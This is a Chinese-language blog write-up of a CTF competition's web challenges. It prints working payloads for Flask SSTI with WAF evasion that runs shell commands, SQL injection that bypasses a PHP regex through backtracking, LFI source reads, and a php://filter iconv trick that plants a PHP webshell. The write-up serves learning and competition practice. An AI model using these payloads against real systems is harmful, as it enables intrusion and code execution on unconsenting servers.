前言

刚参加完比赛,趁还热乎这,就简(shui)单(pian)记(bo)录(ke)一下解题过程吧。逃(

正文

web共有4题,能力有限,只做出了3题。

flask

题目告诉了web框架是flask,故开题直接老规矩,寻找SSTI。而考点重灾区,404页面肯定是第一时间要尝试的。

20200915164358

寻找404页面:

20200915164416

发现页面会将地址信息填充到页面内,直接{{ 7*7 }}尝试,如果返回49则代表此处极有可能存在SSTI漏洞。

20200915164447

BINGO。接下来尝试从基类寻找危险函数了。

在此过程中发现题目存在WAF,对于存在下划线_与点号.的URL会被WAF拦截。

对于下划线我们可以通过请求代换给他去掉,如

1
2
3
POST /{{ ""[request["values"]["class"]] }}

class=__class__

上述payload在flask环境下相当于:

1
GET /{{ "".__class__ }}

寻找可用的类(通过Burp的Intruder爆破):

1
2
3
4
5
6
7
POST /%7B%7B''[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[§§][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]%7D%7D HTTP/1.1
Host: x.x.x.x:10009
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

class=__class__&mro=__base__&subclass=__subclasses__&init=__init__&globals=__globals__&builtins=__builtins__

20200915164450

450为无效数据,在有效数据内随意找一个含有eval的类来执行代码:

20200915162210

读取利用eval函数列目录然后读取FLAG即可。

20200915165521

EXP:

1
2
3
4
5
6
7
POST /%7B%7B''[request["values"]["class"]][request["values"]["mro"]][request["values"]["subclass"]]()[41][request["values"]["init"]][request["values"]["globals"]][request["values"]["builtins"]]['eval'](request["values"]["a"]%2b"import"%2brequest["values"]["a"]%2b'("os")'+request["values"]["b"]+"popen('cat /flag')"+request["values"]["b"]+'read()')%7D%7D HTTP/1.1
Host: x.x.x.x:10009
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

class=__class__&mro=__base__&subclass=__subclasses__&init=__init__&globals=__globals__&builtins=__builtins__&a=__&b=.

sql

这题侥幸拿了个一血,考点是PHP正则回溯漏洞。

打开题目链接,随意点了两下,发现一个可疑的URL,疑似是文件包含的功能,尝试LFI读取一下。

20200915164730

20200915164837

另一边direarch的结果也出来了:

20200915164858

结合本次题目标题,猜测考点为sql注入,我们先读取一下sql.php文件,看下后端的SQL代码是如何拼接的。

1
file.php?file=php://filter/read=convert.base64-encode/resource=sql

得到sql.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

include("config.php");


$id=isset($_POST['id']) ? $_POST['id'] : 1;
if(preg_match('/UNION.+?SELECT|\/\*.*\*\/|sleep|and|if|&&|\|\||\^|%|ascii|mid|left|greatest|least|substr|=|-|<|>|benchmark|like|in|between|regexp/is', $id)) {
die('SQL Injection');
}

mysqli_query($conn,"set names utf8");

$sql="select * from `ctf` where id ='".$id."'";

$result=mysqli_query($conn,$sql);

$row=mysqli_fetch_row($result);
if($id==1)
{
echo "<img src='./img/1.png'><br>";
}
else if($id==2)
{
echo"<img src='./img/2.jpg'><br>";
}
else if($id==3)
{
echo"<img src='./img/3.jpg'><br>";
}
else
{
echo "what do you do?";
}
echo " <p class=\"lead\">
{$row[1]}
</p>
<p class=\"lead\">
{$row[2]}
</p>
"
?>

老实说,看到第一个正则判断就知道是考PHP正则回溯了,之前有碰到过相关的题。

故我们编写脚本,使用脚本帮助我们添加100w个垃圾数据,EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
# author: yunen
# blog: www.0x002.com
import requests

session = requests.session()
payload = 'a' * 1000000

burp0_url = "http://x.x.x.x:10004/sql.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"id": "5' union/*" + payload + '*/select 1,2,group_concat(flag) from flag#'}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data)

print(r.text)

20200915165016

exit

这题挺有意思的,前前后后花费了好几个小时,最终才在比赛结束前半个小时弄出来。

打开题目得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source('index.php');

function getKey($path){
$name = $path.md5($_SERVER["REMOTE_ADDR"]).'.php';
return $name;
}

echo $_SERVER["REMOTE_ADDR"];
$expire = $_POST['expire'];
$path = $_POST['path'];
$filename = getKey($path);
$value = $filename;
$data = serialize($value);
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
?>

可以看到关键点在与:

1
2
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

而第一句是不是有些眼熟?没错,这是EIS 2019 EZPOP其中的一个考点之一,并且后续也有几个题目模仿了此题,可以说是老熟悉的题了。

但是此题的关键再于$filename$data序列化前的内容相同。

对于sprintf('%012d', $expire)来说,会返回12位的数字字符串,接着与exit()拼接上形成一段php代码。

由于exit()的存在,使得正常情况下程序不会执行到exit()之后的内容。所以如何跳出死亡exit成为了关键所在。

这里我们采用LFI来控制file_put_contents写入的内容,payload如下:

1
expire=0&path=php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple

其中convert.iconv.UCS-4LE.UCS-4BE过滤器会将伪协议加载的字节流进行可以进行usc-4编码转化,从而使得原本的死亡exit代码块面目全非,php解析器自然是无法识别的。而我们自行构造的字节流也能拼接上去,经过编码转换后成为新的php代码。这段说得有点笼统,具体的详情请移步至这位大佬的文章:file_put_content和死亡·杂糅代码之缘

20200915165158

20200915165144

后记

这次比赛题目质量还行,虽说对于大佬来说可能就是洒洒水的级别,但总的来说还算有所收获的,学到了一些东西,也感受到了自己不足的一些方向。对于web2的sql那题来说,能拿一血就是对我平常习惯写文章来记录所学内容的一种肯定,如果当初自己没写那篇总结,估计也那不到一血。XD

最后放一张弟弟队的成绩图,前几名的大佬都tql,orz。

20200915161241